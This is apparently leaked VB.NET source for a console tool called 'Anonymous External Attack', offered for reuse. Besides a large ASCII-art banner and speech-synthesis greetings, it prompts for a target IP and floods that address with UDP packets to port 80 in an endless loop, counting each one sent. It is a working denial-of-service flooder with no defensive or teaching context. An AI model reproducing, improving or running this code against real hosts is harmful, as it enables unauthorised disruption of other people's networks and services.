Anonymous External Attack Source Code

Imports System.Net, System.Net.Sockets
'Remember to give credits if you use this source!
'Leak by Anon?M ID
Module Module1
    Sub Main()
        Dim IP As String
        Dim Port As Integer = 80
        Dim sentt As Integer
        Dim synthesizer = CreateObject("SAPI.spvoice")
        Console.SetWindowSize(50, 50)
        Console.Title = "Anonymous External Attack - 1.0"
        Console.ForegroundColor = ConsoleColor.DarkGreen
        Console.WriteLine(".         . . ... .,~?I777?=,. . ... . . ")
        Console.WriteLine("           .... :+ZO$I?I??I$OOI~.  .  .  ")
        Console.WriteLine("        . ..  :7OI~....  .. .~IOZ+. .. .")
        Console.WriteLine("        ... ,7O+..   .......  ..=O$: .   ")
        Console.WriteLine("        ... ,7O+..   .......  ..=O$: .   ")
        Console.WriteLine("     ...  .~OI    ......   ....  .?D= . ...  ")
        Console.WriteLine("     .....+O~ ....      .     ..   :87...... ")
        Console.WriteLine("     ... ?O... .. ... .... ...  ...  O$.....  ")
        Console.WriteLine("     ...+O....... ..,,,,:,,,.. .. ....O7.....   ")
        Console.WriteLine(" .  .  ~O,  .+...,,,,,,,,,,,,,, ..=, . 8? .. .. ")
        Console.WriteLine("   . ..Z~..=NI..,, ...,.,. ,: ,:. +M?..:8~ .   .")
        Console.WriteLine(". ..  I7.=?MZ..:,,..., .. , .,.,,..7MI? IZ.. . .")
        Console.WriteLine(". .. :O IZ88, ,...:,.,,=I~.,,:,. :..ZN$$ O+ ... ")
        Console.WriteLine(" ... 7+.D$7I:,, .,..,,?$7D., .,...,,II$N,=O . . ")
        Console.WriteLine(" .  ,Z:ID=OZ.,. ...., ,:$7 ,..,,  ,,I8~87:O~.  .")
        Console.WriteLine(". . +II$88Z,.,..,.. ,. ,+ ...  :.,.,.$D8$7?$....")
        Console.WriteLine(". . $~O7NZ=.,  ,,,.,:,.::..:,,:,,....~7M78:8  . ")
        Console.WriteLine("  ..$,D$?O?.,  ., .,,:.7O ,,,..... ..+OI7N.O~. . ")
        Console.WriteLine(".. :$ D7$N., ..,.. ., .::. ..  .,..., 88?M.7? ..")
        Console.WriteLine(". .=7=8NM~.,   . . ,,. .. .., ..,. .,.:DN8+7I.. ")
        Console.WriteLine(" . +I7$M??., ,.,......,IZ:,.,.. ,..., ?+M$$I$ ..")
        Console.WriteLine(".. ??O7$$7 ,,..,, .,+D.+7.OI...,:,....?$$I8?$ ..")
        Console.WriteLine(". .?+$8=M+.,.  , ?$DMO.=? 7M8I+,,. ., :M+$8+$. .")
        Console.WriteLine(" . ??~MIM. , ...~MMMMO ~? $MMMMZ.   ..,D7N++Z  .")
        Console.WriteLine("   =7:8MZ?.,. . ?MMMM8 ?8 ZMMMMD, ..,.=$NN~II . ")
        Console.WriteLine(" . ~$I+MIO:...  ZMMMMM.ID NMMMMN,. .,.O?M?IZ+ . ")
        Console.WriteLine(". ..7$$I7D~.,..,OMMMMM=ID=MMMMMM:..,.,N7I7$Z~ ..")
        Console.WriteLine(" . .7+M$=M+ ,,. NMMMMMOZNZMMMMMM~.., =M?IM?O... ")
        Console.WriteLine(". . ???M7D$+ , ~MMMMMMMNMMMMMMMM? ,.=7NIM$?$ .. ")
        Console.WriteLine(".  .,Z:OMM7O:..+MMMMMMMMMMMMMMMM?.,.OIMM8:Z= .  ")
        Console.WriteLine(" .. .7?7IN$O7 .?MMMMMMMMMMMMMMMM$. ?87MIIIZ.... ")
        Console.WriteLine(". .. ,$IN7+IN:.IMMMMMMMMMMMMMMMM$.,D$+7D7$+ . ..")
        Console.WriteLine(".  ...7?7MD?N7?7MMMMMMMMMMMMMMMMZ?7N?OMZ+O.. .  ")
        Console.WriteLine(". . . .O:+NMNNZNMMMMMMMMMMMMMMMMMZ8MNNI,D~ . . .")
        Console.WriteLine(" .  .. ~Z:7IIZ+$MMMMMMMMMMMMMMMMZ=OI?$:O?. . . .")
        Console.WriteLine(" . . .. ?Z+D8OZZMMMMMMMMMMMMMMMMZOZON+7$, ..  . ")
        Console.WriteLine(" . .  . .?$,$8OZ?+NMMMMMMMMMMO+?ZZ8$,7Z. ...  . ")
        Console.WriteLine(".   ..  ..+O,+?+$NMMMMMMMMMMMMNZ?+?:Z$  ..    . ")
        Console.WriteLine("  . ..  . .~8I78NDMMMMMMMMMMMDOMD$ID+ .. .  .  ")
        Console.WriteLine("  .   .. ,. ,7$= =MMMMMMMMMMMO .~$O:.... ....   ")
        Console.WriteLine(". ... .  . . .:$ZOMMMMMMMMMMMD?OO+ .. . .    . .")
        Console.WriteLine(". . . .O:+NMNNZNMMMMMMMMMMMMMMMMMZ8MNNI,D~ . . .")
        Console.WriteLine(". .. . ..   .. .:IZNMMMMMMMMNO$~.. .. .  . .. ..")
        Console.WriteLine("-------------------------------------------------")
        synthesizer.Speak("     Welcome to the anonymous external attack         ")
        Console.WriteLine("     Welcome to the anonymous external attack")
        Console.WriteLine("-------------------------------------------------")
        Console.Write("Target IP : ")
        IP = Console.ReadLine
        Dim remoteEP As New IPEndPoint(IPAddress.Parse(IP), Port)
        Dim buffer As Byte() = New Byte(&H1000 - 1) {}
        Dim socket As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
        Console.WriteLine("****************************************************************************")
        Console.WriteLine(String.Concat(New Object() {"Attacking to : ", IP, ":", Port, " - ", DateTime.Now.ToString("MM/dd/yyyy h:mm tt")}))
        Console.WriteLine("****************************************************************************")
        Console.WriteLine("Press Any Key To Continue...")
        synthesizer.Speak("Target has been locked, press any key to execute the attack.")
        Console.ReadLine()
        Do While True
            sentt += 1
            Console.WriteLine(("Sent : " & sentt & " Packets"))
            socket.SendTo(buffer, remoteEP)
            Threading.Thread.Sleep(&H2D)
        Loop
    End Sub

End Module